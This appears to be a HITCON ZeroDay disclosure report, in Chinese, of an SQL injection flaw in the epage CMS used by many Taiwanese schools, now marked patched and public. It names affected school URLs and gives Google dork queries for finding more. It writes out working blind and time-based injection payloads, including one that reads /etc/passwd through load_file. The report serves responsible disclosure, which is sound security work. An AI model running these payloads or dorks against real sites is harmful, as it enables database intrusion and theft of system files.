Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2020-00621
- Vendor: TACERT台灣學術網路危機處理中心
- Title: epage通用sql injection漏洞
- Introduction: 同ZD-2020-00601之思路,但發生在其他地方
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2020/07/11 01:04:17 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/07/11 01:05:36 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/07/11 01:10:28 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/07/11 01:16:26 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/07/12 00:27:57 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/07/12 14:05:25 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/07/12 14:50:42 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/07/12 14:53:04 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
- 2020/07/12 22:55:31 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/13 20:02:22 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/13 20:02:22 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/13 20:02:22 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/08/17 14:15:47 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/08/25 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2020/08/25 17:58:53 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/08/25 17:59:03 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/10/26 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2020-00621
- 通報者:lebr0n_li (wqwfeoipwqjfpwiejfdpioqweoifjqwf)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
https://www.lct.tp.edu.tw/bin/index.php?Plugin=o_tlc&Action=o_tlccourseschrespg
https://www.naer.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch
http://www.meiho.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch
http://www.ocu.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch
http://cooshow.tcpa.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch
https://www.ntust.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch
https://www.sivs.chc.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch
http://coursemap.nkut.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch
https://www.nutc.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch
https://kidedu.ntpc.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch
http://www.ukn.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch
還有很多,請處理單位一一找出存在漏洞的網頁,感謝你們的付出!!!!
site:*.tw inurl:bin/home.php
site:*.tw inurl:bin/index.php
敘述
想說用google 在url中的php序列看看
沒找到其他人的網站有用,倒是看到上次通報的系統有其他地方也使用了
結果又找到同個系統的漏洞了.............
照著上次的思路,boolean based blind 利用
https://www.naer.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch&P=1&T=135&wc=a:2:{s:3:"Key";s:42:""and(substring(version(),1,1)="5")and"%"="";s:8:"pagesize";i:20;}
https://www.naer.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch&P=1&T=135&wc=a:2:{s:3:"Key";s:42:""and(substring(version(),3,1)="0")and"%"="";s:8:"pagesize";i:20;}
https://www.naer.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch&P=1&T=135&wc=a:2:{s:3:"Key";s:42:""and(substring(version(),5,1)="9")and"%"="";s:8:"pagesize";i:20;}
SQL 版本5.0.9
跟上次通報使用的手法完全相同
測試用的script這次就不寫了
詳見ZD-2020-00601
這次的影響貌似橫跨更多個epage版本
尚未使用過行事曆功能的單位,無法使用上述方法,但仍可透過time based blind達到相同目的
https://www.naer.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch&P=1&T=135&wc=a:2:{s:3:"Key";s:48:""and(if(length(user())>13,sleep(1),1)=1)and"%"="";s:8:"pagesize";i:20;}
網頁卡住(不太清楚為什麼會卡住,還超過1秒這麼久....),小於13亦然
證明user名稱長度為14,近一步的提取資料也不無可能
確定存在漏洞
也可load_file
https://www.naer.edu.tw/bin/index.php?Plugin=school&Action=schoolcalsearch&P=1&T=135&wc=a:2:{s:3:"Key";s:69:""and(ascii(substr((select(load_file("/etc/passwd"))),1,1))>0)and"%"="";s:8:"pagesize";i:20;}
成功載入查詢結果,證明成功載入etc/passwd
方法同ZD-2020-00601
建議立即修補,以免資料外洩
聲明:
本人點到為止並無惡意,免費漏洞檢測的目的是幫助企業、政府機關、學校防止資安問題
並在經驗中累積個人實力
並未利用漏洞深入,請相關單位放心
若有疑慮可立即透過組織帳號與我聯繫,本人願意接受一切合法調查
修補建議
1.盡量不使用用戶可控的php序列
2.務必仔細過濾使用者的輸入
3.不要忘記過濾雙引號啊
4.權限小一點
辛苦了!!!